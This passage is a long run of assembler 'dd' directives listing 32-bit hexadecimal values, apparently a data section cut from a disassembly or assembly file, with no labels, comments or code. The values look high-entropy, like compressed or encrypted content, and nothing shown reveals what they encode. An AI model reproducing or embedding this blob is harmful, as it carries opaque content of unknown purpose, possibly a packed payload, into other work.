0D53F838Fh, 632309B0h, 69C1675h, 8FFEFA8Eh, 42127801h dd 8006B107h, 5058F41Eh, 28EC94BDh, 0FD9C97B8h, 0A1D00021h dd 0C0289915h, 786D04EFh, 61F8F263h, 2C480EFDh, 99349CEh dd 0D086E890h, 0CC1740A3h, 183914EEh, 1408C2ECh, 0C44C5868h dd 283A5609h, 6C70A416h, 1459518h, 55721E8h, 8B4E70E3h dd 0BBDC38DFh, 55088A1Dh, 442ECCAAh, 0D60B783Eh, 5E49C6Eh dd 0C02B5E12h, 75CC404Dh, 8DAC2D6Ch, 0E8C3707h, 2C809FE6h dd 1B1D4A30h, 20731B8Fh, 4E590E0Ch, 24933137h, 586C6409h dd 3913138Eh, 7000929Ah, 2D1A7081h, 0DFCB004Ch, 0F189CE6Bh dd 0E0006E60h, 2C4E6402h, 312F1DFFh, 2B205686h, 7CC4205Bh dd 14184B58h, 16CC0AEAh, 0C4017381h, 8E591A63h, 0CA0A55CAh dd 8C480367h, 2CA0D445h, 10C62B24h, 28780EA2h, 7DD0D52Ah dd 9DE1E9FFh, 0ECC2C60h, 8E5F9785h, 0AE88FADh, 34D002ACh dd 4161975Ch, 79D5A2FCh, 0A80CF89Eh, 755131B0h, 9C448D70h dd 70B12558h, 6470C5F8h, 0B8D467EEh, 0C09C8978h, 0AD4FCD04h dd 0E9008E42h, 841FA8B6h, 7E68E303h, 0C0E1A0A6h, 0C0CE5E4h dd 0D33A644Ah, 0FD004608h, 2AE08659h, 5FA668h, 8BA41F05h dd 7C65618h, 0C40F277Dh, 67ED55h, 4F4192FCh, 6618002Dh dd 0E2B206DCh, 0EE00E58Ah, 0FDAAC9FBh, 0DE656h, 4F641F74h dd 94265911h, 0A65BC407h, 0C64175C8h, 208AFFDBh, 4028355Ch dd 0E247D631h, 20DDD7Bh, 28C856AAh, 5F207CF1h, 1DB6E20Bh dd 74085B2h, 8184EA92h, 0F014B3D2h, 13600D12h, 86757318h dd 1E530FB7h, 0BCDD781Dh, 0C8A8D700h, 71A2977Ah, 8092D10Ch dd 7C6F40B2h, 0C03700C6h, 5D9786ADh, 0D71E9527h, 1703522Dh dd 0C194B5FBh, 608E7F22h, 809F7EC2h, 0B2B0334Eh, 851988A5h dd 321850F7h, 188E5721h, 0D2872227h, 0C1FAFFEh, 0D1C00E73h dd 0BF1BA8DFh, 3595A150h, 0ABE91880h, 4D3C7786h, 0DC72B00Fh dd 19570341h, 0DAE03185h, 803317D8h, 0B1F6D399h, 0C73026F2h dd 81EF2408h, 0F0E9D492h, 1280D152h, 73B57CBCh, 0F87B63D2h dd 32F07EA5h, 8A0CE83Fh, 10E2ABF7h, 84880765h, 83E49E97h dd 5BC0112h, 901CB082h, 95689258h, 0E3C01F77h, 83183AECh dd 90A609BBh, 0A3A4990Eh, 2A4441D1h, 0B530DB45h, 0C49F078Eh dd 0C199822Fh, 0D08FF8ABh, 7C580FB8h, 2CAA3ABEh, 783B3CA4h dd 0F63EA3Dh, 0C099AE84h, 0E154CE44h, 1D173AE3h, 267A830Fh dd 1FC36301h, 5F7ECCC0h, 0E4648F00h, 0F1849251h, 1928CF2Bh dd 0F6D87A49h, 6D7F8F74h, 2B9E38C3h, 0F462E1A3h, 6761A9E3h dd 1A857080h, 65779CBDh, 7DCAA400h, 5E498F98h, 59EF004Fh dd 648B36C3h, 0DB03F36Fh, 8431BAA3h, 0A686F804h, 89A93344h dd 50CEFCE8h, 1C81333Ch, 8B1F0D64h, 30EB650Ch, 4410C6A4h dd 0D90241BCh, 0D5C4859Bh, 4098835Ah, 8BE3A35Bh, 9A23C042h dd 263F843h, 4485D7F8h, 888334DCh, 3A0EFBEh, 4880C21Dh dd 0E4940C6Ch, 0E181ED8h, 0C150FE62h, 0C0D006F9h, 6760A43Ch dd 71FFF08h, 0E1B3CF84h, 1817F343h, 8647498h, 23E2E06Fh dd 80466744h, 0A87DC343h, 7F520318h, 4A1410h, 0AFB44495h dd 461663C0h, 81D108C0h, 7C5C43BEh, 75A33121h, 0D4D2DC49h dd 0FE50CBC3h, 6B04E1E0h, 3AB52498h, 0A7272087h, 0FFDA0441h dd 281BE441h, 1891E098h, 1C904C84h, 0B0234410h, 93C8012h dd 0A6024114h, 0D3405D04h, 0F550A984h, 0A561084h, 0FDFC03ECh dd 0D0221DEAh, 0A8B0B9F8h, 0A499B90h, 0FFC42495h, 58C00AB8h dd 44004E1Ch, 4ED81512h, 0DA99EF1Dh, 328C9F5Eh, 624BE0E2h dd 4A29B042h, 26D13C40h, 150420A4h, 0D98C1916h, 8BAEF902h dd 34301042h, 401393Ah, 0F89BC526h, 0DBC0FCD9h, 0FDF228C3h dd 9D560E8h, 248B5C2Eh, 0E43C40h, 44843536h, 49F9155h dd 248A9720h, 0C50A0E5h, 28A842BCh, 12F89D98h, 7230EB62h dd 57044037h, 6F10C9EEh, 0B6034007h, 0FBB6785Eh, 94D4231Dh dd 4FA1128Ch, 38389C0Eh, 0F0D7F7F0h, 24984923h, 201EF318h dd 38C715B3h, 864FFB42h, 5108FE6Ch, 0FAF1B8DAh, 8CE43283h dd 0ACA184E9h, 8194201Ch, 0BE588663h, 0F981868h, 152F089Ah dd 2763E000h, 1D64A32Eh, 7B44909Ch, 48C3F861h, 83072CF9h dd 0C0C04C2Fh, 0A3BEDEBAh, 0F8AF7137h, 0C9F820B9h, 0ECE49F8Fh dd 24A4FE5Ch, 0F14337Fh, 0EBFD574h, 24832C02h, 4C1538Bh dd 83208C7Bh, 31C308A2h, 0E01846B3h, 3F84D057h, 3130AA4Ch dd 37C029A6h, 98097303h, 84566E63h, 0E844AD98h, 5D16044Bh dd 7CC241Fh, 81911F24h, 878C94E4h, 7AA19540h, 8259F7C7h dd 86935C38h, 1308A89Ch, 6A06EC3h, 80BA1934h, 3D3F26h dd 8261730Fh, 408C9C04h, 0A192DC8Ch, 0AC34FAE8h, 4888E15Ch dd 0E5134805h, 0F0648001h, 0D9D07CB1h, 28F4A091h, 203498E3h dd 0B662F6E9h, 4047A330h, 60714470h, 0D509609Ah, 0BF28C495h dd 0A53AA88Eh, 25040AD4h, 720EC830h, 634D9F77h, 85F510DEh dd 48180C30h, 0E13C4C90h, 6B989174h, 898E6F01h, 39C03008h dd 1710D453h, 94153D46h, 411901E4h, 0A8247CB2h, 0E5A40889h dd 0C63CEC9Eh, 0C9041218h, 0A679B006h, 0E2841230h, 0C6980AD3h dd 0E8599884h, 0D093D5A4h, 0FF0C1481h, 0C645BDEh, 0E430C2D4h dd 2460F2C6h, 8898D1C2h, 60B8F954h, 449F8D2Bh, 40E9680h dd 98970A9Ah, 9EFE2044h, 44D07A51h, 83B80EB0h, 0B005FC69h dd 422030C7h, 2D7FC9F1h, 99F89609h, 43AC01C0h, 1448B898h dd 0AA961362h, 0F9284F4Bh, 44B80532h, 122C9336h, 2F1081B4h dd 41408C5Ah, 4C6A88FEh, 0E612B8A3h, 0A48C09B0h, 54047403h dd 4831087Ch, 0E951047h dd 84493802h, 24D4307Ch, 58D7173Eh, 629A20ECh, 1C441055h dd 6182CCC8h, 9DADE0E9h, 3F2CCC90h, 0F214E4E2h, 10C309A4h dd 87A802EAh, 5E49C65h, 0F9677B59h, 0D9A00506h, 0E33C8039h dd 0A490A607h, 1C60C182h, 60DEAEF2h, 37C8D659h, 0AC83A020h dd 0CCD40028h, 1C71C840h, 0E42439F2h, 921EE0A3h, 0B0C0DB14h dd 33D1F8D2h, 1980071Eh, 0A348C2A4h, 1A001845h, 1697BF86h dd 79EF0932h, 0AC03DBF8h, 9017BEF2h, 8402B534h, 45A69EA3h dd 3DA88338h, 91E8A76Ch, 0B35059F2h, 2248390h, 47702CCDh dd 0EDEE5122h, 60C32C52h, 2B582458h, 817CE1E9h, 0CD1513B8h dd 9930850Ch, 0D414F3E9h, 1090A024h, 493B2455h, 51F90A7Ch dd 9061BFF8h, 41F65803h, 404BE294h, 944986E0h, 9B7D241Dh dd 3658F024h, 0B12D1FAEh, 0D9F2C44Dh, 4FACD2C2h, 67639860h dd 3A24A848h, 1498BE77h, 19E8FB87h, 3208AF2Bh, 51030C70h dd 11D1F0D2h, 0BC617C61h, 61E440E6h, 1EA498F0h, 0A7CF3E0h dd 17B4456Ch, 84200470h, 438CC1DDh, 1AAC345Bh, 1164A8CCh dd 3F8D3283h, 1C43ACC0h, 0C30214E2h, 0E434E01Ah, 0D899669Dh dd 4431286Bh, 622418A8h, 6271C434h, 9DEF08A0h, 30E0C861h dd 7B3163E4h, 0FE07683Eh, 57FDC88Ch, 2D584F08h, 82A30A0h dd 90C09683h, 0B9212810h, 2CBF31B4h, 41C14D10h, 4007BB94h dd 92B5C7ECh, 0D76654F8h, 30B0E7A8h, 0C408BBA4h, 18DC2904h dd 792B90Fh, 244120A1h, 388FB15Fh, 0A483B415h, 98378573h dd 4843209Dh, 7944E1B3h, 2860B861h, 32F0982Ah, 3FB04FB5h dd 0F524A0C1h, 64088D72h, 0AC548B8h, 0B7A0D9D3h, 9D0408Bh dd 0BF3DC882h, 0FA3B2C40h, 782C8090h, 9A0970B4h, 2C088E63h dd 6432E054h, 93FB2847h, 10B6345Ch, 4085361h, 68B90FB8h dd 0E018BD32h, 4E84A440h, 0DC0030F1h, 0E6FC2451h, 4FA85CC8h dd 0A4049509h, 0D6A483F5h, 0BF1814FCh, 0EC52F066h, 595A8483h dd 39B8EA50h, 993A8515h, 968CC314h, 89E260h, 99900A19h dd 3870044Ah, 31B61178h, 7928A1DFh, 1D1CEE69h, 96B995DDh dd 3A2C4C6Fh, 7B298450h, 0C401839h, 28AC26Bh, 0B9EF4EFFh dd 48416D45h, 6A24648Dh, 2494D85Ch, 48344C5Bh, 0E412B412h dd 0DC0CBC1Fh, 5071106Ch, 0A37EC468h, 289E7A8h, 49C883E4h dd 0F4280FB8h, 0BBE46C2Ch, 48D77139h, 19A76003h, 0C00BA62Dh dd 1C9FB299h, 81A10448h, 0D341C8C0h, 0B8124924h, 60C09AE4h dd 12A38D97h, 49E36344h, 280201F4h, 0CB86788Ah, 642E80FAh dd 2C24349Fh, 8B39E58h, 91AFD0FEh, 201F7516h, 24A8D07Fh dd 0B48D4224h, 7C80E714h, 2C452C24h, 4F4C309h, 2881C640h dd 0C0BD1824h, 0A6ACB589h, 0B21FB496h, 6349927Ah, 40140496h dd 95234CC0h, 0C770C93Ch, 0FCCC0840h, 0FD0B08C6h, 21D616D0h dd 5E142CDBh, 0E485AA0Ch, 25195064h, 0F489FB39h, 0A6235401h dd 0A896DA14h, 11DC841Eh, 790A2E10h, 18F050F3h, 0EC4340A2h dd 2908ED61h, 882CDB22h, 5D83C6A0h, 309B3C2Ch, 6647A8A1h dd 0A18D5091h, 2C67B901h, 0B040125Ch, 0A07494CBh, 0C05F52ADh dd 0D8AF99C8h, 582CE49Fh, 0C9700467h, 0D4AD1896h, 5AF93068h dd 64998905h, 0C4C1E1CEh, 486354BAh, 33C50581h, 0D9C050A3h dd 0DCA05927h, 20B00781h, 0E8094228h, 1CA41EEAh, 0B28C0B04h dd 2CA0531Bh, 99A93E1Ah, 0C01E3B8Ah, 732A58CCh, 8F74B608h dd 540E0817h, 16301F1Ah, 2A600580h, 4C30FFDEh, 0E4602EC8h dd 0C8AA0C31h, 9C75E1E8h, 7C727021h, 8049E9CFh, 85592CA1h dd 12708D1Dh, 842F38F8h, 0B2547035h, 7344A861h, 0D73A29B9h dd 37B3C080h, 0E8A82D5Ch, 3C00E399h, 7EF03D2Bh, 0DC65C2h dd 0CE533B27h, 0CD9FE9FDh, 289F300h, 0BD0128D5h, 14345297h dd 417DE71Ch, 8C0E8715h, 2C09CC22h, 59DE5D01h, 53D05CFEh dd 7AF9FCD1h, 3AD1C48h, 0F4AF441Ch, 8E889F6h, 3D7B2992h dd 0F2CB63Ah, 36921h, 1D38D488h, 204B5244h, 457C5000h dd 89F746C5h, 3BDBE220h, 13A907Dh, 81548229h, 765BC9A6h dd 80D0BFB7h, 7CDF7D87h, 56E05D32h, 6A036CBCh, 0F085BBB3h dd 86A2A00Ah, 0F4401066h, 60D17D4Ah, 0C9428043h, 0EEFEDF7Ah dd 5C1EB874h, 1C1FA4A1h, 9CFE354Eh, 0A0209819h, 440018BAh dd 6D5CE003h, 9D002ACCh, 5D2BF9B5h, 2FEAAF4h, 0DDF8DFDCh dd 9CB9D29Ch, 8EF1DC6Fh, 1062C9C3h, 14600330h, 853CDF49h dd 0EE20D878h, 7043153h, 0E0F4A708h, 0C850BA9Ch, 0FA74D9F8h dd 0DF8BD19h, 35E00F80h, 94BF29DDh, 41B90138h, 0CDF964h dd 0CD97B502h, 0BC8CE68h, 546603ECh, 0CB850B4h, 9DFB2230h dd 771470F0h, 0A0A45D2Ah, 243119D0h, 3E2050CBh, 0D04CAC9Ah dd 0EA06F814h, 2D1950Ah, 3FE22828h, 0E85C14A8h, 0F842E479h dd 0E61FDE80h, 30DF5477h, 0B863A8FEh, 2F3F408Ch, 0FA18809Ah dd 46A28C0Dh, 3CE02405h, 0E4185188h, 7286AB7h, 1048F8F1h dd 754471Ch, 0D6518794h, 3C620D78h, 0C0501D50h, 68A35FE9h dd 0E004AE98h, 5881F8A5h, 9E8E32C7h, 4822A088h, 0D360BC21h dd 24B1E3EBh, 1DA85C5Eh, 407829E1h, 0BAFBEF1Eh, 0E2C80A61h dd 140E77EAh, 30DE584Ch, 0CE82505Dh, 0FD032BA3h, 8570013Ch dd 80154F29h, 1CCFA2C8h, 0FD9D38h, 0EF3D108Bh, 1A7CFE66h dd 5D021203h, 0F9351F39h, 0BBF2674Ah, 1432B078h, 42DCA8F4h dd 2A13027Eh, 0FFD61A1Dh, 38CFAC40h, 0D0275D3Fh, 0BC0C61C2h dd 89A9D1Bh, 7840603Dh, 3869A61Dh, 0A13E4AF0h, 0C83E3C35h dd 4E02E070h, 0A24968h, 0AF306205h, 1DD82CFEh, 0E4117908h dd 0B918419h, 2688B01h, 80D7EE44h, 22B08009h, 91FE5FF5h dd 0FFA96028h, 51DFD5FAh, 2B25ED44h, 0B70FB0CBh, 41F2E495h dd 0F5EE200h, 883C5C2Bh, 0E3CFDF18h, 905A8251h, 87C1428h dd 626FB4ABh, 99FDC02h, 0A0F44894h, 0BCE4A22Ah, 0D15072EAh dd 0A40A6DA0h, 4C9A7356h, 71B2F667h, 61D4907Fh, 4C5C9857h dd 284C2476h, 5AB073B0h, 8C923C75h, 16309069h, 0C89A3ABCh dd 0F0A02818h, 58988002h, 1CCE7D16h, 747E0438h, 8910601Ah dd 2B1F9E22h, 0A02C9D48h, 0FE70C8Eh, 87F96769h, 39C82FA5h dd 0AEB120A4h, 0B821CEA2h, 222C5925h, 9698C07Ch, 0BEE4DFAh dd 848287F5h, 3C965C09h, 1B96310Ah, 0A28DCCD4h, 641C78A1h dd 7123E247h, 8442802Ch, 0FD2C2AE8h, 5C0404DEh, 0B8CEF108h dd 5B200506h, 6224897Ch, 7D009806h, 0FCDD70AFh, 0BC0E4CBAh dd 0EE9144E0h, 214F8A4h, 0E0C8B61Fh, 169BE77h, 87F65B7Dh dd 60C64022h, 0C30466ECh, 89C23CDDh, 0B402AC8Eh, 16B4686h dd 0B5047048h, 5B5D3C12h, 74CB283Ch, 0C062B8D8h, 0DF095511h dd 0F46266BCh, 0E2C37308h, 4080895h, 6CD0D0h, 0A3249E70h dd 0DD39F3F2h, 6020656Eh, 6AFE3488h, 0E0FA00A6h, 0C490992Ch dd 47016B07h, 0D4E49A32h, 308081E5h, 2A9914BFh, 682FB15Bh dd 3E66540Eh, 20DE9E18h, 69720D10h, 9C4F5800h, 0C68CB2CFh dd 0C18E00D1h, 0B7261B23h, 0E06739DEh, 1F101498h, 1F12BA4Ah dd 0F8487FEh, 0BC945B75h, 1880663Dh, 7E24961Bh, 80A05986h dd 8C18FFD2h, 4051B461h, 3A4287h, 84FB1C83h, 444CCA2Ah dd 94A8E299h, 1A006A1Dh, 8346EA87h, 78A23EC4h, 27290AA6h dd 8E24880Dh, 84CB2A16h, 9953F270h, 0CCB4004Ch, 908E831Eh dd 79591DA2h, 7F0400A3h, 65268FAFh, 0BE99FF0Ah, 66609CD5h dd 0E0E2C4ADh, 3E40F034h dd 0A2107448h, 6A007F99h, 6E936B8Dh, 5417C823h, 0D2D08Ch dd 763134F5h, 0B34E01ACh, 0E9CBF304h, 0D5C1CF6Fh, 0A2702EA9h dd 48F4A0BBh, 0E0EAA026h, 12B406FDh, 0E0835604h, 582C7A10h dd 351AE180h, 4B11FA82h, 63108467h, 8FB0BDFh, 8DDD801Bh dd 1FD4C86Fh, 746818h, 2D0BD10h, 32308AEDh, 50C6300Dh dd 0B6200E6h, 0F4DC8029h, 0DE004BBEh, 0BD2C2DD2h, 1C3ADE8h dd 0C7516EF7h, 872ECB41h, 0A6F34A18h, 89609387h, 50FF9C7Bh dd 255FB44h, 0D4E26D2Ch, 848F7377h, 377B6F40h, 0AF00CD6Ah dd 0AC91B8D1h, 6962C3h, 0D6BF4E72h, 9A8BCC41h, 32C68704h dd 98905C42h, 55DA1Dh, 107E80E9h, 0F60FD8D3h, 23E27805h dd 0B44381E6h, 0D008265Ch, 0E58FFB9h, 5948EFD8h, 3C20E589h dd 0E99C1715h, 873CAE01h, 88C7E813h, 6468B1CBh, 378CDFCh dd 2A0910D2h, 0BBE0FF06h, 3615F601h, 940CF5h, 0BE09E681h dd 84DEF114h, 88809290h, 0E900796Bh, 5E4609EAh, 53CB419h dd 0FCCD2567h, 1EE800C7h, 848A2BFBh, 1B535F00h, 0E3F9ED7Ch dd 3CD000Ah, 0B9922288h, 0CB0043D3h, 22C15B6h, 0F97826CCh dd 98427450h, 43E379A6h, 35821041h, 409AA91Eh, 0BA9C3443h dd 0E2002EAFh, 4207C6CEh, 1D371CD0h, 0F09EE8Ah, 608064CDh dd 416B28C9h, 0E92B0186h, 9A3FBF17h, 40B108DCh, 0C200312Dh dd 7E0F52F8h, 2D65CB2h, 736F104Fh, 0D4401B13h, 7B02A74Dh dd 8DC79A38h, 2C634Ah, 0C3F78518h, 95C6E665h, 0D1F12100h dd 0E502B90Eh, 60B8728Ah, 0D0BFE9F2h, 5A092069h, 91132C51h dd 8835CC54h, 13AD23CCh, 3BB53ACBh, 2638084Ch, 272440BDh dd 0F4E02CA7h, 14A87624h, 622EEF80h, 733A2D28h, 44B70783h dd 43F10B5h, 80389AFCh, 912D186Eh, 6D8A0051h, 0E5CFA1Bh dd 631E42C2h, 0AC3929FBh, 0F4286879h, 0CD004D90h, 0D2C6CC47h dd 7AE57AAFh, 0BE140344h, 351DF975h, 9C1AC026h, 2C9D215Eh dd 6909AB87h, 0E51F3F00h, 28364D68h, 0D9240848h, 0F8F4C000h dd 0E6105F83h, 8684DDA8h, 0A70C0003h, 0F8CD65F8h, 0B4FCC0AEh dd 0AD620D8Eh, 0EE2D7903h, 8325AA50h, 8F42C8DDh, 43C50018h dd 0B214A288h, 4A4C6A9h, 9AACE300h, 0B9655398h, 78EC9176h dd 7863582h, 0DE66FBBBh, 0A75F418Eh, 6380C3C0h, 9A006FD3h dd 22751286h, 0B1999EF2h, 72F57088h, 3EC70086h, 326E2C66h dd 9EF8436Bh, 0B37B10B1h, 0B620ECBCh, 0EC00D93Bh, 0E2B3F783h dd 0B8701235h, 0D41A506Bh, 6ABB0C2Bh, 0DFB80338h, 28817500h dd 1FC90705h, 0A2F12C1Ch, 1A30028h, 0B4B1AAA5h, 0EE378400h dd 0FDAFE061h, 3B913A56h, 15DAD492h, 0F401BCB0h, 3C42B6FFh dd 0E4342029h, 409A352Ch, 105C7024h, 802A27E9h, 666F60BBh dd 0F2410AAAh, 98D4F3F8h, 0B91B101Ah, 1E7A3C1Dh, 18E2C40h dd 0EFD4B0h, 0FC11AEB3h, 9E724D0Bh, 0F4C81200h, 448419F3h dd 15F0C101h, 407F79D5h, 0D96B51ECh, 0DF07B1E2h, 0E9A826Ch dd 0F0A1C013h, 75794B2h, 409158F3h, 3AAD00B8h, 100B0DAh dd 0DBC8C19Bh, 9CDEB05h, 0C07651DEh, 0C90F9600h, 0D550A244h dd 0D603E5F6h, 76485227h, 62BCE89Bh, 65F100B0h, 0B7770AD7h dd 12C3F43Eh, 0E03AE9EBh, 72A3C5CAh, 0F398000Dh, 791BB669h dd 7D004F45h, 2F33C183h, 30C66652h, 20586EF5h, 2D1E9424h dd 755E0DD3h, 8903B82Ch, 0E039E833h, 0C46D11Fh, 54317FF9h dd 0ED03DB30h, 5286A516h, 0E06BF373h, 0EDCC452Fh, 12CE2080h dd 1BC17514h, 5B21FF00h, 366D0961h, 0FF8011Fh, 0A7468597h dd 0F2808004h, 0D4424F74h, 0EA20065h, 572B1DD0h, 58015F6Dh dd 0AA630255h, 0FAECA0E8h, 0D44C0022h, 57829364h, 0EE006FA2h dd 8F824D6h, 3399085h, 5651FB1Fh, 6EB033B5h, 9C0E2AB1h dd 862B3F68h, 7200F3Ch, 0E16BDC60h, 6D33D0C4h, 0A900AF88h dd 0AAA2559Dh, 8332FEh, 19C82616h, 2CD41F4Ch, 0CAB7810Ch dd 299FE8E4h, 882BF5h, 0A5631533h, 21424FE2h, 60B0A876h dd 0BD141F29h, 0D6C00F0h, 2C2B9A70h, 4B858B00h, 0F7662546h dd 93C62A08h, 36F20260h, 4D197234h, 3089A18h, 0BA95117h dd 0AA9329FCh, 0C4A0B4A8h, 39996D06h, 75990D02h, 0D2B0A4h dd 0EE96A8DEh, 0FC4A9E8Eh, 925FA900h, 6B94082Dh, 0EBA300AAh dd 77411518h, 0C101AB3Bh, 0A61F010Eh, 2099E48Eh, 0FC430EBAh dd 1E7DD70Ah, 917CED00h, 0E2EE981Bh, 0A92F0160h, 7B9670A3h dd 0F992F5A0h, 34305621h, 0B7C111Dh, 686A9E3Ah, 644C306Ah dd 0C0C60017h, 4D9684CBh, 57860748h, 0F0780732h, 5FFC3046h dd 9B22E800h, 164A8518h, 0C68F00FDh, 3A0C638Ch, 0BA06DFCFh dd 0BD3912B1h, 0D04B0079h, 34498360h, 0C2705496h, 5853CA3Ah dd 0AE2060BAh, 3FBB8388h, 9780D6DFh, 0E39C5044h, 34026CA2h dd 398A5E1Bh, 373C6071h, 4A560265h, 0CC5F0E46h, 8A70AC8Ch dd 0AB02F443h, 8E7CC82Ah, 95A1C30h, 73C34BA7h, 0EE45AF84h dd 26615387h, 0E620C905h, 4463B60h, 304B9800h, 0AC1B95C3h dd 10A09730h, 3852849h, 27ED2B18h, 9149D50h, 9063F4h, 3C8832E9h dd 5BE110Ch, 8F10DEB3h, 18280F01h, 0D4BBAAh, 0E20BB2C0h dd 0F61E3204h, 2AC016D9h, 0B743E4DDh, 0FD5F378Ch, 0FE59E0D1h dd 0B97C8492h, 50057FAh, 39A46779h, 0A8F332EAh, 0E27FA27Ch dd 56E62133h, 0C030F49Ch, 17CAA70h, 0FF978804h, 0CD7D1E0Ah dd 9CE040F5h, 47003553h, 0A9304A6Ah, 7125BC3h, 56EB17EEh dd 7749408Ch, 6260CBA8h, 461EF4C0h, 0CD7BA5h, 6A18AEBAh dd 146D6C06h, 0D56E4B00h, 0EA8CD7BEh, 0A350C048h, 95BFA6FCh dd 0A8AB0A29h, 19854180h, 863C552Bh, 60219960h, 3F4CA2D9h dd 1C0341EBh, 9E3AF245h, 3121B175h, 21B2671h, 0EE74F0C5h dd 82E858BBh, 4000C945h, 6523FAB9h, 9213EB83h, 2E38006Ch dd 0A84BED9Fh, 39011CB5h, 26DBFCBh, 4080ABF4h, 226ED044h dd 7C3B23DCh, 4100F5D9h, 0DDEB3A70h, 0FA207Bh, 0A2A78474h dd 0B3AF6A19h, 0C8C91B76h, 848817B2h, 20A75A1Bh, 180DE7h dd 624E5B50h, 35327737h, 0AC490228h, 0A1A2A509h, 0FC800A2Fh dd 93AF4B80h, 741D542h, 0E8A1D78h, 5D0DF0CDh, 4DEEA9B5h dd 0E3FD6B00h, 0BDC14AB0h, 1DD92692h, 0A65C6010h, 0DB137CAFh dd 4023C548h, 16210793h, 0C011E43Dh, 22EB7F1Ah, 0FD1C5501h dd 31458A52h, 3973509Eh, 0A47728h, 0D6A954DBh, 4D9A0371h dd 8800C87Eh, 5D911CFh, 0C135FAh, 0DD1CB47Ah, 43AB13E3h dd 19D79503h, 901AA7F5h, 1CEBBD70h, 3F38E20h, 5CEC8A8Ch dd 63850ED7h, 461880A7h, 69037D94h, 0A6DDFA82h, 45192B2Fh dd 6F0FFC04h, 0E08447C9h, 5A675179h, 0B9EF0076h, 85FE142Bh dd 7D03CCFDh, 9060A747h, 3838003Eh, 19137E46h, 5715C965h dd 0E2343D25h, 3F4C97C4h, 0B291228Fh, 70308F80h, 3300FC8Ch dd 86AACC5Ah, 7C4C6D2Fh, 0E4EA2837h, 34C6210Ch, 358A1004h dd 2107BA44h, 1841F6B0h, 0BD082DD2h, 11344122h, 36BD4BEh dd 0EEA98F33h, 0CE6AE1CBh, 228D0C41h, 0D3423608h, 30F74B14h dd 0D2184230h, 83006265h, 4E9080FCh, 120428C8h, 67926F0h dd 197601F8h, 21842BF4h, 0DC04086Ch, 2450EFCDh, 817815E0h dd 0F3609888h, 73CC3210h, 0A1B42488h, 3057FF0Ch, 2E8A3CFAh dd 0B40A247Ah, 7F040C0Ch, 0A0447793h, 388210Fh, 5DCC2441h dd 7FFF6080h, 0E4E88467h, 619DC380h, 288719EFh, 28F1303h dd 0BAE3D561h dd 0A7605A38h, 590087DDh, 95D99055h, 0AF103Eh, 7F86CF8Ch dd 0D88516C1h, 74AD3Fh, 47580CC6h, 610FD7h, 0E28CD6BCh dd 0FB59A608h, 0C2EE9005h, 4F80219Ah, 6F4371B9h, 128388A3h dd 18381F92h, 0D849004Fh, 0DEE676E0h, 529D03E5h, 92A21E96h dd 0F52EA100h, 58CF54B2h, 7BCA80FBh, 4898867h, 3B3033h dd 0C3CDDBA8h, 0FE23CE07h, 8EB488C1h, 1C4A6CCFh, 4AEC93C0h dd 0F2288CE9h, 29005824h, 2FD9C78Dh, 30691F8Eh, 0D7505510h dd 4B03CDBBh, 247BCC12h, 7E580005h, 11726420h, 217259A7h dd 0CD606F00h, 0B5BDFAABh, 0A16620E1h, 4DE5A407h, 50AC5869h dd 0B0B702A5h, 1D2E2332h, 13FE14A0h, 0F8144BD4h, 3B348275h dd 29BD8083h, 0ED8573AEh, 28F43D13h, 0C088DF14h, 868F7A3Ah dd 230F4A0Ch, 1B1DE660h, 0C700EF69h, 0BED8AADCh, 0D93627h dd 0A6F7D4FEh, 4066641Fh, 9154B8C1h, 9880E244h, 1BD8C3A1h dd 0F800EEB7h, 74EABAC7h, 5A91EBh, 5EA2FFFBh, 60A081CEh dd 81EF6E32h, 0BC68A083h, 291E5AF4h, 40406628h, 0D1A7A05h dd 0F06B700h, 0A412C6AFh, 22023BE0h, 8058131Eh, 721FB61Ch dd 5E2870DFh, 8E3CC096h, 79C813ABh, 0B558E91Fh, 18568718h dd 0A0929B70h, 0BE00296Dh, 0CC38F159h, 816ECF74h, 5D1DD40Fh dd 0EBF37F09h, 731825ABh, 7C21AC86h, 0FDCF30F4h, 459B0B18h dd 340D2A01h, 0D1FFD321h, 0D773E887h, 0C5844AA3h, 0F37C8007h dd 0FC600DE6h, 597BB390h, 9C4C044Eh, 909AE047h, 0A56C4948h dd 74B41F12h, 1820BC49h, 0D2797Ch, 6BF2A9F5h, 0E299ADE8h dd 270733E8h, 0F925A1EDh, 0A79D28C0h, 3B489276h, 1201E373h dd 0F54C23D3h, 7527E422h, 0A36DA0CFh, 3631CAh, 2BA7891Ch dd 94DFC474h, 0E877AD7Ah, 3A8C6012h, 7E4C1Fh, 0A71DCCDCh dd 28AB55h, 0DF00BC0h, 0AF8414B0h, 0A8D3DF12h, 657B1041h dd 8BC53470h, 0E602E4h, 4175688Ah, 0F29308B5h, 0D20A1202h dd 60317F33h, 0CB1A1Bh, 41FEF7F6h, 0A359BA08h, 2DAC1E0Eh dd 7B7AE0A2h, 715AD51h, 0A9E05A8Ch, 2982F104h, 0F1A1C428h dd 1B5F6200h, 0EF0A567Bh, 0C08A1BEAh, 80A07074h, 433D1914h dd 30FD2926h, 839F1285h, 302027C4h, 92E0Eh, 22FB9682h dd 2112F16Bh, 42E43E01h, 0C373C91Ch, 8C18BF40h, 0EEF654h dd 2EAFEBDCh, 2314A805h, 98062933h, 9A5890ECh, 0F96C3844h dd 360369B8h, 0FF4395E9h, 0F6C67007h, 0DB202D85h, 33BF0D63h dd 0B7B2189Eh, 5B9403EDh, 828B3A29h, 56A0502Eh, 0B63CB300h dd 1725B1h, 6C1581Bh, 44466961h, 3D6F0807h, 0B1C024B3h dd 45298Eh, 0E2F98FD5h, 0E7EE6D0Dh, 92932603h, 0B8068469h dd 0F6E02A79h, 0A130F05h, 5FE64282h, 0E306A0D2h, 1A5BB81Eh dd 717C00F8h, 0BF031C36h, 0B70CF19Dh, 78848CC5h, 0A6AE0361h dd 0B3CED7EFh, 910060E3h, 0EB77CD0Ah, 0E2D0AEF7h, 91B70B13h dd 0E5839D1Ch, 8AA82019h, 0B4A0882Dh, 561ECACCh, 3DC031BCh dd 4573EFD3h, 623605D8h, 4F0A2072h, 5C09784h, 5FC8AD6Dh dd 1D3D6377h, 0F34200B6h, 7E3112A3h, 0E43050F7h, 0C7257F19h dd 2CBAB738h, 930C48B1h, 0E8A99FAAh, 0BDD806C9h, 10C57631h dd 0F24D507h, 0EFDF191Eh, 0D0E381EEh, 0EC4085FAh, 741D12h dd 0C908677Ch, 3B51BE54h, 76AE2307h, 0D510972Bh, 618D77DFh dd 0EC1DD92Ah, 73318329h, 3CC903Ah, 0A3416168h, 59121E1Ch dd 34203D21h, 23CDC29h, 0D36BFE4Eh, 4C4B15D0h, 0B8EDA5E8h dd 0D6008871h, 